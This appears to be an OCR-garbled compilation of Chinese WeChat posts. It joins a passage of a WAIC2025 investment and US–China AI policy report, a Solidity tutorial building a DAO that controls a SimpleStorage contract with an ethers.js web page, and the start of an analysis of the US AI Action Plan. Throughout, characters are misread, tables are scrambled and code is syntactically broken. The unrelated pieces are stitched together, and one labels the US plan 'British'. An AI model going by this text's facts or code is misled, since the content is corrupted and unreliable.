了显佳注脚。得物(零售科技)、蚂蚁集团(健康科技)的成功案例表明,利用专有数 据和领域知识在特定垂直行业解决核心痛点,能够创造出高利润和强整垒的商业模 式3飞鹤(农业科技)和恒纪元(金融科技)的展示也进一步印证了这一趋势32。
认,凸显了国产计算生态的极端重要性”。这意味着,任何能够为中国构建自主可控算 力体系做出责敲的公司,都处于国家战略的风口。这不仅包括芯片设计与制造,还涵盖 了高速互联、先进封装、液冷散热、AI集群管理软件等全方位的生态链企业。
域的潜力。大会首次引入“科学质问“机制,并安排了关于量子计算的讨论”,这表明 利用AI加速基础科学发现(如新材料、新药物研发)已成为长期战略焦点。投资于该 领域的平台型技术公司,有望在末来获得超额回报。 子”。虽然应用层的明星公司(如Robotax1运营商)引人注目,但支撑其发展的底层技术和 工具同样具有巨大的投资价值。中国构建自主AI生态系统(如第一部分所述)和突破硬件封 锁(如第二部分所述)的战略决心,为这些“赋能技术“创造了巨大的、由国家意志驱动的确 定性需求。 这些“辖和铲子”公司包括但不限于:为训练机器人提供高保真环境的模拟软件公司、为大填 型提供高质量标注数据和数据治理工具的公司、开发AI原生数据库和MLOps平台的公司,以 及提供核心硬件组件的公司。投资这些企业,相当于投资于整个赛道的成长。它们的优势在 于,其业务成功不依赖于任何单一应用的风口,而是受益于整个市场的“水涨船高”。对于投 资者而言,构建一个平衡的投资组合,既应包括高增长的垂直应用公司,也应配置这些基本 面扎实、具有长期价值的庭层赋能技术公司。 表2:WAIC2025热门投资赛道分析 主要风验 驱功力(市场/技术/政策) 主装风凌 关键公司/参 投资者展望(短期/长 投资亮道 与贵 与害 期} Agibot, Un 超期:关注在业化试点 技术成熟 具身智能 度,成本, 进展长期:巨大市场 需求接术:大模型认知能力 itree, Pon y.ol,WcRi y.ai, WeRi 提升政策:商业化许可发技 空间,平台型公司潜力 安全法规 de 大 烟期:理会流槐定,商 市场:传纳行业致字化转型需 Ant 数提壁垫, 重直领域 Dewu, Group, Fei 票技术:专用模监性能优于 行业knou- 业模式消晰长期:护 AI 通用模整致策:鼓酸AI瑞柜 how获取班 城河温,利润率高 实体经济 uenA 度 市场:AI算力需求漫发技 国产计算 Huawel (As 技术选代遗 超期:政实驱动,确定 cend),相关 术:奥构创新穿补芯片差 度,国际 性高长期:AI时代的 基础设施 更政策:国家安全,技术自 竞争 产业整公司 基石,核心资产 主可控 AIfor 市场:新药/新材料研发效率 相关科研机构 研发周期 短期:高风陵,关注技 与初创公司 胞频技承:AI加速科学发现 长,向业 术突破长期:朗覆性 Scienc e(AI4 化路径不确 湛力,可能产生万亿级 家战略支持 市场 S} 定
WAIC2025清晰地反映出中国AI领域的资本格局正在发生深刻变化:国家资本(“国资”) 和战略性投资正扮演着越来越重要的角色。 大会上传递出的信息显示,中国政府正在更直接地参与到AI产业的资金支持中。据报道,国 家层面正推动设立创投引导基金,旨在撬动地方及社会资本形成近万亿规模的资金池,用于 加速人工智能等前沿技术的创新发展。地方政府层面,以上海为代表,正通过建设“模速 空间"等孵化器,积级培育本地AI产业生态1。 这种政府主导的超势也体现在大会的组织形式上。H4“通用链接“馆的一个突出特点是,除了 传统的风险投资对接外,还发布了超过289份采购清单。这表明,大会的重点不仅是帮助初 创企业找到VC,更是帮助它们直接对接来自大型企业和政府的真实商业需求。 这种”国资“角色的凸显,为投资者提供了一个全新的分析维度,即**“国资“因素作为一种有 效的“去风险”信号**。过去,投资者可能对国有资本的参与持保留态度,担心其市场化程度 和决策效率。但如今,在日益复杂的地缘政治和国内监管环境下,获得信誉良好的国有基金 的投资或被纳人政府主导的产业生态,已成为一个强烈的积极信号。 这背后的逻辑是,国家层面的支持意味着项目或公司与国家的战略发展方向高度一致。这种
政府及国有企业的采购合同,以及在获取土地、人才、效据等稀缺资源时享有优先权。 因此,对于寻求在中回进行AI领域投资的全球基金和个人投资者面言,理解井善用“国资“因 素将是一项明智的策略。与声誉卓著的国资基金共同投资,或重点关注那些已被纳入政府重 点扶持生态体系(如“模速空间”人驻企业)的公司,可以有效降低潜在的政治和监管风险。 在当前的中国市场,对宏观政策和国家战略的理解,其重要性已不亚于传统的财务尽职调 查。
对于精明的投资者而言,WAIC不仅是一场技术盛会,更是一个信息高度浓缩的、实时的感职 调查平台。通过解读大会期间释放的各种信号,可以级大地提升投资决策的准确性并降低风 险。 关键尽调信号解读:
由中外院士和顶尖学者组成,评选过程极为严格。一个项目能够获奖,基至仅仅是入 国TOP38榜单(如蚂蚁集团和新加坡科技设计大学的Mustango项目)3,都意味着它 已经通过了来自技术和商业层面的双重、高标准审核,这是一个强有力的正面信号。
成熟度、安全性和商业模式可行性的最权威验证“。这种许可代表了监管机构的信任, 其含金量远超任何市场研究报告。
主持一场重要的专题论坛,直接反映了一家公司或一位创始人在行业中的影响力和话语 权
造商奇瑞、出租车运营商铭江电动的合作,清晰地展示了该公司具备将技术与真实市 场需求相结合、并与产业链上下游协同的能力,这是通往规模化的可行路径。 将这些信号综合起来看,WAIC本身就构成了一个动态的、多维度的尽职调查报告。大会的议 程设置、获奖名单、滨讲嘉宾、重大发布以及展馆布局,都是由政府、产业领袖和资本市场 共同策划和筛选的结果,它们共同指向了那些被认为具有战略重要性的技术、公司和超势。
直领域拥有独立的论坛,哪些技术被反复提及,哪些公司的展台门庭若市,哪些初创企业获 得了与行业巨头同台展示的机会。这些看似琐碎的细节,实际上是宝责的、实时的市场数据 点。在投资的早期阶段,当财务数据尚不充分时,这些来自顶级行业平台的信号可以为投资 论点提供关键的验证或挑战,从面大大提高决策质量,因此,深度参与和分析此类顶级会 议,应成为投资流程中不可或缺的一环。
本部分对中美在人工智能领域的政策博奔进行前瞻性分析,这对于任何希望在全球AI市场中 进行战略规划的组织都至关重要。
持续的美国芯片出口限制,是塑造当前全球AI格局的最重要地缘政治因素。WAIC2B25清晰 大会上,中国高层领导人坦率地承认了“算力和芯片供给不足”是当前AI发展的瓶颈°,这直 接回应了华盛顿方面近年来不断升级的出口管制措施。美国出于对围家安全和技术主导地位 的担忧,严格限制向中国出口可用于先选军事系统的高端芯片3。 中国的应对震略是双管齐下的。一方面,通过设立规模达475亿美元的国家半导体基金等举 措,举全国之力对国内半导体产业链进行大规模投资4。另一方面,也是更具顺覆性的一 面,是通过架构层面的创新来“弯道超车”。华为的Supernode 384就是一个典型例证,它 通过系统级的设计优化,用性能相对较低的芯片集成了比意争对手更强大的计算集群2。此 外,中国初创公司DeepSeek发布的AI模型,据称在使用性能较蜀的芯片的情况下,达到了 与顶尖美国模型相摊美的性能,这展示了通过算法和软件优化来弥补硬件短板的巨大潜 力 这一系列动态揭示了一个深刻的“制裁驱动的创新悸论”,美围的科技封锁政策,其初衷是减 缓中国的技术进步,但在客观上却成为了一个强大的催化剂,追使中国必须走上自主创新的 道路。这种外部压力倒通中国从根本上重新思考其计算技术的发展路径,激发了在系统架构 等领城的非对称创新,并凝聚了全国性的共识和资源投人。从长远来看,这可能催生一个更 具韧性、更少依赖外部技术、甚至可能更具创造力的中国科技生态。 这一趋势对全球科技格局的未来走向具有深远影响。最可能出现的结果是,全球高性能计算 领域将出现永久性的"技术分叉”(bifurcat1on)。未来,企业可能需要为两个截然不同 的硬件生态系统设计和优化其AI应用。那个由单一全球技术标准(如x86+CUDA)主导的时 代,可能正在走向终结。 表3:中美人工智能政策监测 政策 冲突/分歧点 中国的立场/行动(在 美国的立场/行动 对全球企业的影响 NAIC.上) 组域 扩大出口管制,租 芯片/ 承认施颈,签动国产 直接的技术封镇与反 供应链核遍选边站, 代(华为Superno 止先进芯片流向中 封镜对抗 需为两个不同的硬件 硬件 准入 de),强调架构创新 国 生态进行开发和优化 AI淄 发布(全球治理行动计 警告“过度监管”, 监管哲学冲突:国家 面临遵守不同甚至冲 理框 划》。强调多边主 采取低望管策略以 指导下的风陵规避 突的法规体系的携 义,风险共相、惠及发 VS.市场硬动下的 促进私营部门创新 战,增加合现成本 架 加通创新 展中国家 数据 呼吁“做法有序白由流 强调数据安全和盟 对“自由流动”的定 数据跨境传输面临更 义和范围存在分歧, 严格的半查,蒙果 流动 动”,探索全球数据共 友间的数据共享 与主 亨机制 涉及国家安全号量 取数提本地化或分区 炭略 权 开源 积极推动,视其为防 传统上由企业和社 中国将开源提升至国 开源项日可能成为地 家战略和地缘政治工 战略 止蒸断、促进全球公平 增政治影响的领域, 区主导,但开始关 的工具 需评估开源组件的来 注开源软件的安全 具的高度 通和风院 风险 倡导“同球共济”,推 强化与技术先进盟 联盟构理逻辑不同: 国际 全球市场可能被划分 动理立中国主导的国际 为不同的技术和标准 联盟 友的合作,建立排 包容性V5.排他性 阵管,市场准入复 合作机构,团结“全球 他性技术联型 南方 杂化
在AI治理这一新兴领域,中美两国正提出截然不同的战略蓝图,这不仅是技术路线的差异, 更是全球影响力之争的体现。 中国的方案在WAIC2025上得到了全面展示。其核心是新发布的《人工智能全球治理行动计 划》以及“智能时代同球共济”的大会主题,这份计划内容详尽,覆盖了从效据共享、开源 文化到风险管理和为发展中国家提供能力建设等广泛议题,其核心理念是强调多边主义,主 张以联合国为核心渠道,构建一个包容、普惠的全球治理体系“。这种方法旨在团结尽可能 多的国家,特别是“全球南方”国家,共同制定规则。 美国的方案则呈现出不同的优先序。据报道,美国政府近期发布的新AI蓝图,旨在通过“放松 环境规则和大幅扩大对盟友的AI出口“来维持其对中国的技术优势“。在早前的国际峰会上, 美国也曾明确警告要警惕“过度监管”对创新的束绣。这种策路的重点在于保护和加速本国 私营部门的创新活力,并通过与技术实力相当的盟友构建装密的技术联盟,来巩固其领先地 位。 将两者对比,可以清晰地看到两种治理模式的竞争。美国模式优先考虑由私营部门主导的快 速创新,并通过与发达国家的战略联盟来设定标准。中国模式则强调国家层面的引导、全球 范国的包容性(特别是对发展中经济体),并将风险管理视为一项需要全球共同承担的集体 责任。 这种治理模式的竞争,将对全球企业和第三方国家产生深远影响。它们将不可避免地被置于 这两种强大而又相互竞争的惠景之间。未来,企业在进行全球化布局时,将不得不做出战路 性的选择:究竟应该与哪一套监管框架和标准体系对齐?这一选择将直接关系到其市场准以 及数据处理和产品设计的合规性,从而成为一项高风验的战略决策。
在硬件和算法之外,对AI发展至关重要的底层规则和资漂—数据、标准和开源——正成为中美 竞争的新战场。中国在WAIC2825上提出的立场,显示出其在这些领域的精密战略布局。
共享机制平台°。在全球数据本地化趋势日益明显的背景下,中国提出这一主张,意在 占据推动全球数据治理规则制定的道义高地。
术标准。谁能主导标准的制定,谁就能在未来的技术竞争中掌握主动权。
利的工具“ 将这三点联系起来分析,可以发现一种被巧妙运用的“开放性武器化”策略。在一个美国科技 巨头(如英伟达、谷歌)凭借其强大的专有技术栈占据主导地位的世界里,中国倡导“开 放”--开放数据、开故标准、开放漂码——是一种高明的非对称竞争策略。 这种策略目在“拉平竞赛场地”。通过鼓励全球开发者社区在非专有的、开故的基础设施上进 行构建,可以有效削端美国科技巨头的技术锁定效应。当全球开发者习惯于使用那些在中围 硬件上同样能高效运行的开源模型和工具时,美国在专有技术上的优势就会被稀释。这为中 国企业深度参与甚至主导这些开源生态的未案发展方向,创造了宝贵的机会窗口。 这一趋势的启示是,未来人工智能的格局,将不仅在企业的研发实验室中被望造,也将在开 源基金会和国际标准组织的会议室里被决定。在这些看似中立的平台上获得战略影响力,其 重要性正变得不亚于投入巨额的研发预算。 结论:2026年及未来的战略展望与建议 WAIC2025不仅是一次技术成果的展示,更是一面镜子,映照出人工智能正深刻地受到应用 需求和地撬政治的双量望造。技术正从云端走向实地,从通用走向专用:而全球AI格局则在 合作与竞争的张力中,日益呈现出“双中心"的结构。基于本报告的全面分析,我们为不同角 色的参与者提供以下建议: 对工程师的建议:
国产硬件(如华为昇腾)设计的分布式系统和并行计算架构。理解并能驾驭不同的硬件 生态,将是未来最稀缺的技能之一。
目,不仅能提升个人技术能力,更是将个人发展与产业大势相结合的明智选择。熟练掌 握基于开源模型进行微调和优化的能力是基本要求。
高价值垂直行业(如医疗、金融、制造)的深刻理解(水平的”一横”)。“AI+行业” 的复合型人才将是市场上最抢手的资源。 对产品经理的建议:
“功能点“提升至“全栈解决方案”。国绕一个核心行业痛点,利用独特的专有数据,构 建从数据、模型到用户体验的完整闭环,从而形成难以被复制的竞争壁垒。
政蛋准入是产品成功的前提。产品经理必须从项目启动第一天起,就将政策分析、政府 沟通和合规策略作为产品路线图的核心组成部分。
将是从理解用户的明确指令,转变为预判用户的潜在意图,产品经理需要围绕“情境感 知”和“主动服务“来构建产品逻辑,创造无缝、自然的智能体验。 对投资者的建议:
领域AI的价值正被市场反复验证。应重点关注那些在特定行业内已展现出清晰商业模 式和强大护城河的公司。善用大会奖项、政府许可等信号作为尽职调查的有力工具。
支撑整个国产AI生态发展的底层“赋能技术“公司。这些提供算力基础设施、效据股 务、MLOps平台的企业,受益于整个行业的增长,风险相对分散,具有长期战略价 值。
为一个重要的风险缓释信号。投资者应积极导求与信誉良好的国资基金合作,或重点考 察那些被纳入国家级产业生态体系的公司,以降低政策不确定性带来的风险。 Works cited Leadership Morningstar... July accessed 26, https://www.morningstar.com/news/globe- 2025, newswire/9499845/waic- 2025-to-be-held-in-shanghai -showcasing- chinas-tech- Leadership
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in Shanghai on Saturday,offer a key platform for 1ntl AI co-op anid growing protectionisn Tines, passasse July 26, 2025, https://www. globaltimes .cn/page/202507/1339270.shtnl
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Driverless Commerc1al Robotax1 Services Shangha1's Pudong New
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排和筹备进展情况 上海市人民政府, accessed July 26, 2025,https://www.shanghai.gov.cn/nw12344/20250710/60f58a27af ee4743ae9e1d46c35ee637.html 迈向AI高地浦东模力社区创新企业组团亮相世界人工智能大会·上海新闻, 18. 26, July accessed 2025, https://www.sh.chinanews.com.cn/kjjy/2025-07- 26/138412.shtml Zhitong Hong Kong stock analysis | The legislation on U.S. 19. passed, stablecoins forlarge has pue the enthusiasm financial intelligent agents remains high., accessed July 26, https://news.futunn.com/en/post/59343034/zhitong-hong- 2025, kong-stock-analysis-the-legislation-on-us-stablecoins Huawei will the real Ascend384 super nodedevice 20. showcaset offline for the first time at wAIC2025 数据猿,accessedJuly https://datayuan.substack.com/p/huawei-will- 2025, 26, showcase-the-real-ascend biggest test to Huawei' s CloudMatrix touted 384 new as 21 . Nvidia's CryptoRank, accessed AI dominance July 26, 2025, https://cryptorank.io/news/feed/34e78-huawei-unveils- cloudmatrix-384-nvidia Huawei shows AI computing system to rival Nvidia's top 22. off Indian July 26, The product Express, accessed https://indianexpress.com/article/technology/huawei- 2025, shows-off-ai-computing-system-to-rival-nvidias-top-product- 10151477/ Supernode 384 architecture | by Sedat 0zcelik | May, Huawei: 23. Medium, 2025 accessed July 26, https://medium.com/@seneca.ag/huawei-supernode-384- architecture-969c0b7470c4 Supernode 384: Huawei turns threat How to sanctions into 24. Nvidia Wire Asia, accessed Tech July 26, 2025, https://techwireasia.com/2025/05/huawei-supernode-384- sanctions-nvidia-ai-computing/ model that packs
releases Spark X1 deep reasoning CGTN, punch accessed July 26, https://news.cgtn.com/news/2025-01-15/china-releases- 2025, Spark-Xl-deep-reasoning-model-that-packs-a-punch- 1AbIq8PzzEI/index.html Iflytek deep inference completed the X1 upgradeof Spark 26. model large 26, accessed 数 据 猿 July https://datayuan.substack.com/p/iflytek-completed-the- 2025, x1-upgrade during Step will Star release multimodal flagship model 27. 26, WAIC. Futubull, accessed July 2025, https://news.futunn.com/en/flash/19087290/step-star- will-release-a-multimodal-flagship-model-during-waic WAIC 2025 ClusterTech Limited, accessed 26, 28. July https://www.clustertech.com/Events/wAIc-2025 5·首屈一指的AI盛会:英伟达,accessedJuly26, NVIDIA GTC 2025 29. https://www.nvidia.cn/gtc-global/ 2025,
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Associate Professor Dorien to Herremans on winning the SAIL WAIC Award Top 30-Singapore University of Technology 26, accessed Design (SUTD), pue July 2025, https://www.sutd.edu.sg/achievements- listing/congratulations-to-associate-professor-dorien- herremans-on-winning-the-sail-waic-award-top-30/ Intelligence WAIC 2025 Artificial Forum 41. China-ASEAN (AIII), accessed July 26, International Institute 2025,https://aiii.global/waic-2025-china-asean-ai-forum/
July 26, Stanford HAI, accessed index_repo 2025, https://hai.stanford.edu/assets/files/hai_ai rt_2025_chinese _vers1on_061325.pdf balancing AI development, China consensus
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original wex7ce EI V1ajero 2825年7月26日 14:24 日本 實融目標:創建雨智能合的。合的A(SimpleStorage)用於储存一四数字。合B (SimpLeDAO)作為一去中心化白治组感,將有唯一且排他的權力束修改合約A中的数字,而 道種修改必须經通DAD成員的投票沃策。
0995 DAO控制置板
B887:306
B86F:3
我仍需要雨個合的:一個是被管理的對象,另一個是管理的主糖。
這借合约的核心是,它有一他“排有者(owner):的概念,业且只有摊有者才能修改数字。我們科 後會将這個“携有害:身份轉交给DA0合的。 操作:在Remix IDE 中創建Sinple5torage.sol 權案,贴入以下完整程式碼。 5olidity se-Identifier: HIT pragna solidity ^0.8.0; /1这留合的是货DA0所管理的财象 contract Simplestorage { uint publlc nyNunber; address public ovner;// 合约的频有密地址 11事件:當所有根通移诗網 event OwnershipTransferred(address indexed previousowner, address //修款符: 留程式码棕查工具,确保只有owner才能熟行某嘿函数 require(nsg.sender -- ouner, "Caller ls not the owner*); 11建横子:合前部署時谨行,投定初始数字和腋有者 constructor(uint _initialNumber){ owner = nsg.sender;// 部署合的 的增址成為初始摊有者 才能股定新数字 function setNunber(uint _newNunber] public onlyowner myNumber = _newNumber; } //任何人都可以馈取数字 function getNunber[) pubLic view returns (uint) { return nyNunber; //韩移所有權的函数,可楼被onLyOwner保膜 function transferDwmership(address newowner) public onlyOuner { require(newowner I= address(e), "New ouner cannot bc thc zcro emit OunershipTransterred(owner, newouner); owner = nevovner:
这個合的是我們的DA0,它负责處理提案和投票。當提案通過時,它官以「癌有害:的身份去调用 S1mpleStorage 的 setNumber 函敷. 操作:在Remix IDE 中创建 SimpleDAO.sol 穆案,贴入以下完整程式碍。 Salidity // SPDX-LIcense-IdentIfIer: NIT pragna solidity ^θ.B.D; |1定菱一倡介面(Interface),告斯本合约目標合约有感些功能可以期用。 //道就像一份功能的“就明書”,孩仍的 DA0 知道如何典 SinpleStorage互数 interface Isinplestorage { function setNunber(uint _newNunber] external; function transfer0wnership(address newowner) external; } 11速是DAO治理合豹 contract SimpleDAO { //指向我得想要控制的 5inpleStorage 合的真例 I5implestorage publlc sinplestorage; atdress public owner; napping(addrcss => bool) public isMcmber; uint public nextProposalId; 11提东的数球结摄 |1受案的数球经梢 struct Proposal { uint id; address proposer; string description; uint neNNunberToSet; uint forVotes; uint againstvotes; bool executed; mapping(address => boot ) hasvoted; napping(uint => Proposal) pubLlc proposals; //事件日味 event Proposalcreated{uint id, address proposer, string descriptio event Voted(uint proposalId, address voter, bool supported); event PraposalExecuted{uint proposalId): //部置 DAo 時,必须偶入它要管理的 5inpicStoragc 合约的地址 simpleStorage = ISimpleStorage( sinpleStorageAddress): owner = nsg.sender; } //添加DAO成具 function addMenber (address _newMember] pubLic { require(nsg.sender == ouner, "0nly DAo ouner can add menbers") isNenber[_newMember] = true; //别建提察 function createProposal(string memory _description, uint _newNunbe require(isMenber[msg.sender], "only nenbers can create proposa Proposal storage newProposal = proposals[nextProposalId]; newProposal.proposer - nsg sender; newProposal.description = _description; newProposal newlumberTo5et = _newunber; emit ProposalCreated(nextProposalId, nsg.sender, _description) nextProposalId++; } //报票 function vote(uint _proposalId, bool _support) public { require(isMenber[msg.sender], "only nenbers can vote*); Proposal storage p = proposals[_proposalId]; require(!p.hasvoted[msg-sender] . "You have already voted*): p.hasvoted[nsg sender] = true; 1f (_support) ( p. forvotes++; }else { p.againstvotes++; emit Voted(_proposalId, msg.sender, _support); //块行提案:掌提廉通通,此函数游以DA0的身份颁用SinpleStorage 的函数 function executeProposal(uint _proposalId) public { Proposal storage p = proposals[_proposalId]: require(Ip.executed, *Proposal already executed"); require(p.forvotes > p.againstvotes, *Proposal did not pass"); p.executed = true; // DAo 合的娱用 SinpleStorage 的 setMumber 通数 simpLeStorage. setNumber (p.newlurberToSet) : emit ProposalExecuted(_proposalId);
道一步至關重要,我们路刻建雨回合的的置例,亚將它们的耀力保建立起来。 操作:暂格按照以下顺序软行。
SinpleStorage.sol和 SimpleDA0,sol,贴 Compile 按钮,致保雨惬合的都成功 崩露且没有错换。
前往 Deploy& Run Transactions 标页。
在CONTRACT 下拉菜单中,理 SinpleStorage.
在 Dcploy 按超旁的_initialNumbcr 截位输入一图初始数字,如 166。
o黏聖DepLoy。在 MetaMask 弹际中確想交易(插使用您的户1)。 部署成功德,在下方的 DepLoyed Contracts 列表中奢出现一個 SimpleStorage 實 例。贴旁遗的要固示,表其合的地址,我們碼此地址为STORAGE_ADDRES5.
在DepLoy按翻旁的_simpleStorageAddress榴位,贴上删才植的 STORAGE_ADDRESS, 點聚Deploy.在MetaMask 中两次殖交易(分使用户1)。
稀此地址卷DAO_ADDRESS.
在 Deployed Contracts 列表中,找到黏阳 SinpleStorage 胃例的介面。 o找到橙色的transferowncrship 函数。 在旁遗的newOwner 入框中,贴上剧才的 DAO_ADDRESS。 贴型transact 按辑。在MetaMask 中確超交易(必须由概户 1敬起,因幕它此刻仍是 Sinplestorage 的觅有者)。
o權限交接的交易成功,回到simple5toragc 置例的介面。 黏型暂色的owner 被钮(此接辑只取数,不清耗Gas)。 。下方返回的地址必须是您製的DAO_ADDRESs.遗證明SimpleStorage 的所有榴已成 功辑移绘 SimpleDAO 合的。
找到adHember 函数。 在_newMcnber 输入框中,貼人您MctaMask 中的第二圆幅户地址。 o黏量transact 按钮,亚用户1在 MetaMask 中殖交易。 至此,所有的智能合的配置工作已全部完成。
现在我們需要一個细页来與DAO進行互助。 操作:
STORAGE_ADDRESS 和 DAO_ADDRESS, TWLH
<ID0CTYPE htnl>
<,tueH-4z=buel (414
cheadx
cneta charset=UTF-8"$
ctitle>DA0 治理實验s/title>
cstyles
body font-family: -apple-systen, BlinkMacSystemFont, Segce
.container { text-align: center; padding: 3Bpx; hackground-co
hl, hz, h3 {color: W627EEA;}
button ( background-color: t627EEA; color: white; border: nen
hutton:hover:not(:disabled) ( background-color: #4a67de; }
button:disabled { opacity: e.6; cursor: not-allowed; }
input f padding: 10px; border: 1px solid #ecc; border-radlus:
.info-section, .contract-section { margin-top: 25px; text-ali.
.proposal-card { border: 1px solid #627EEA: border-radius: 8p
.message { margin-top: 15px; font-weight: bold; }
.error { color: dc3545; }
success {color:#28a745:}
.warning-box background-color: fff3cd; border: lpx solid #
≤/stylea
c/head>
cbody>
<div class=container'>
<h1>DA0 治睡實睡c/h1x
<div class="warning-box"s
trong重要:</strang行前,读殖保已在 HTML 權案的<scrif
c/divs
<button 1c=connectButton>谨继到 MetaNask</button>
sdiv class="infa-section'>
<p id-"statusclass="ncssage">状燃:未速结</px
cp 1d=account'>幅户:未理</p>
s/div>
xdiv id--sinplestoragecontrol" class-"contract-section style
<h2>S1nplestorage 联感</h2>
spsstrong>被控合的地址:</stronga span id="storageContract!
<button 1d-"retreshstorageNumber>剧新数字</button>
</div>
xdiv id--daocontrol class="contract-section" style-*display:
<h2>DA0控制面板</h2>
sp>strong>0Ao 合的地址:</strong> <span id=*dapContractAddr
c.pues-lesodoud,=ssels Aips
ch3>剧键新提累</h3>
sinput type=*text" id="praposalDescription' placeheld
cbutton 1d-createProposaLButton>創健提案</button>
sp i="proposalstatus" class=*nessage"s</p>
</divs
<div 1c-"proposalsList" style-"nargin-top: 20px;"s
<h3>现有提案</h3>
c/divs
52
</divs
cscript src=-https://unpkg-con/ethersg5-6-o/dist/ethers-und.min.j
<scripts
!!!替换為震原部署的合的地址!!!
Const SIMPLE_STORAGE_CONTRACT_ADDRESS = *YOUR_SINPLE_STORAGE_
ConSt DAO_CONTRACT_ADDRESS - 'YOUR_DAO_CONTRACT_ADDRESS';
const SIMPLE STORAGE ABI = ["function getNumber[) vien return
const DAo_ABI = [ "constructor(address _simple5toragcAddress]
let provider, s1gner, sinpleStoragecontract, daocontract;
Const connectButton = document .getElenentById['connectButten'
const sinplestorageControl = document -getElementById(*simples
Const storageAddressDisplay - docunent-getElementById( storag
Const daoAddressDisplay = document -getElenentById( *daoContrat
const currentContractNunber = docunent-getElementById(*curren
Const createProposaLButton = document -getElementById(*createP
const proposalsListoiv - document.getElenentById('proposalsL1
connectButton.addEventListener( 'click, connectwallet);
async function connecthallet() {
1f (typeof window.ethereum ---“undefined’){return;}
try {
await window.ethereum.request(( nethod: 'eth_requestA
provider - new ethers.providers.Meb3Provider(window.e
signer = provider.get5igner():
const account = wwait signer-getAddress[);
statusEl.textContent-‘糖:已建结';
accountEl.textContent =*栋户: s{account}:
connectButton.disabled = true;
awalt initializeDApp(1;
}catch [error){ console.error(涯接失:,error]:}
async function initializeDApp(l {
sinpleStorageContract = new ethers.Contract(SIMPLE_STORAC
daocontrol. style.display = block ;
daoAddressDisplay.textContent - DAO_CONTRACT_ADDRESS;
aMalt updatestorageNumber(l:
aMait loadPraposals();
refreshStorageNumberBtn addEventListener('click', updateStora
async function updateStorageNumher() {
try(
currentContractNumber.textcontent =A中...';
10 1
const numher = await simpleStorageContract.getNumber(
currentcontractNunber,textContent = number.toString()
}catch [error){console.error(更薪数字失:,error]:} createProposalButton.addEventListener( click', createProposal async functlon createProposalll { const nunber = docunent.gctElenentById('proposalNunber'), If(!cescription 11 Inumber)<return; } 110
try( const tx = await daoContract.createProposal(descript1 113 await tx.wait(); awalt loadProposals(): 116 }catch[errar){consple.errar(创建提案失败:,error):} async function loadProposals(1 119 proposalsListDiv.innerHTML =*<h3>现有提案</h3><p>载A中.. .< try { TZT const proposalcount = await daocontract.nextProposalI
. 2 Z if(proposalCount.isZeru())< proposalsListDiv.inerH proposalsListDiv.1nnerHTNL =<h3>现有提案</h3>; for (let 1 = 0; 1 < proposalcount.toNumber(); 1++) { 125 const p = await daocontract.proposals(i); const card - docunent.createElenent(*div');
card.classNane = 'proposal-card'; pies-gesodoud. = suenssels*pues 128 card.innerHTML = `ch4>提案 #$[p.id} S{p.executed 3 proposalsListoiv.appendchild (card): 130 document.querySelectorAll('.vote-btn').forEach(btn 132 documcnt.queryselectorAll('-cxecute-btn').forEach(btn 133 }catch (error){consale.error(加敏提系失:,error);} 135 async function handlevote(event) { const 1d = event.target.dataset.1d; 138 const statusEl = document-getElenentById( vote-status-${i 6ET 140 try { 142 const tx = awalt daocontract.vote(id, support); await tx.wait(); statusEl.textContent =‘授票成功!; 145 awalt loadProposals(); }catch (error){consale-error(*投票失致:,error); status
148 async functian handleExecute(event) { const 1d = event.target.dataset.1d; 150 const statusEl = docunent-gctElencntById('vote-status-$(i 151 statusEl.textContent=“正在轨行提察...: 153 try{ Const tx = await daoContract.executeProposal(id); 155 await tx.wait(); x await loadProposals(); awalt updatestorageNunber(); }catch(error){consale.errar[=软行失:",error); statust 159 161 if (window.ethereun)( 163 window.ethereum.on(*chainchanged', () => Window. location. 165 </seripts x/bodys 166 </htmlx 15 7
http.server 8000.
http://localhast:8eee/dao.htnl.建接包(幅户1):贴壁「还结到MctaHask:,便用幅户1道行还接。页面感成功加 鼓业示初始数字100 逾建提案:在「创建新提案:盈域,输入描述(例如将數字更新為777)和口标敏字 4. 777。贴「创建提案按翘在MetaMask中确蕊交易。
setNunber 函数。此交易预期會失败,亚提示“Caller is not the owner",橙明檬 限已成功移交给DA0合約,外部帐户無法再直接修改。
MetaMask 中确交易。
c打 MetaMask,将需前幅户切换到帐户 2 0细页會白動剧新,再次點壁按訊重新速接罐包。 在同一個提案卡片上。再次贴聚投赞成票;,用幅户2在MetaMask中確記交易。 交易成功後,提案的票数愿更新為「2优成/日反到。
現在提案已满足“觉成票大於反對票:的德件。 贴擎「敦行提案按钮(使用概户1或2均可),亚在MetaMask中硬部交易。
交易成功後,提案卡片會示為(已救行)。 最間键的化是,頂部「simplestorage 状:区域的“目前存的款字」患自劲更新為 100, 交县调求 无史 DAD 控制血板 I&ATEAB交发
a 0 交易调求 88 n1 tzea H 88 2 888中 100
E 交县调求 8 5T6318000 I&ATEAB交置 36: 03001(
Ma:R28T8100
至此。已成功完成了一具借安全權限設置的DA0微提案、投票到最终键上敦行的完整治理流程。
发布于 2025-07-25 00:18:54（微信公众号导出记录）。
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治格局的战略分析 original vθx7ce EI V1ajero 2825年7月25日 B0:19 浙江 https : /www. whitehouse . gov/wp- content/uploads/2025/07/Americas-AI-Action-Plan.pdf 辅助分析工具gemini2.5pro I.执行摘要:美国人工智能战略的范式转移 本报告旨在对《英国人工智能行动计划》(以下简称”《行动计划》”)进行全面剖析,该计 划标志着美国人工智能政策的根本性转变。报告的核心论点、关键发现及战略评估概述如 下: “创新优先”原则的确立:本报告开篇即指出,《行动计划》彻底颠覆了前任政府所侣 导的“安全优先”方针1。它废除了此前的行政命令1,转而推素一种“无需许可的创 新”(perm1ss1onless1nnovation)理念‘,其最终目标是在全球人工智能竞赛 中巩固美国的绝对主导地位3
全面、激进的放松管制来“消除露文绳节”:其二,以“建设,宝贝,建设!” (Build,Baby,Build!)的口号为代表,启动大规模基础设施建设,为人工智能 革命提供动力
业最重大的“让步“体现在其对版权法的刻意沉默。这种忽略,加上总统公开表示为所 有训练微据付费是“不可行的“言论”,是一项旨在保护人工智能开发者免于承担侵权 责任、以牺牲创作者权利为代价来加造模型开发的战略选择。这与国会正在推进的《霍 利-布鲁门萨尔法案》等立法努力形成了尖锐对立12。
的放松管制到国际外交,其每一个支柱的设计都旨在超越中国的能力,并确立美国技术 作为全球标准3
公司、人工智能开发者以及能源和建筑行业将迎来一轮繁荣。相反,由于版权保护被 削品,创意产业面临着生存危机1。
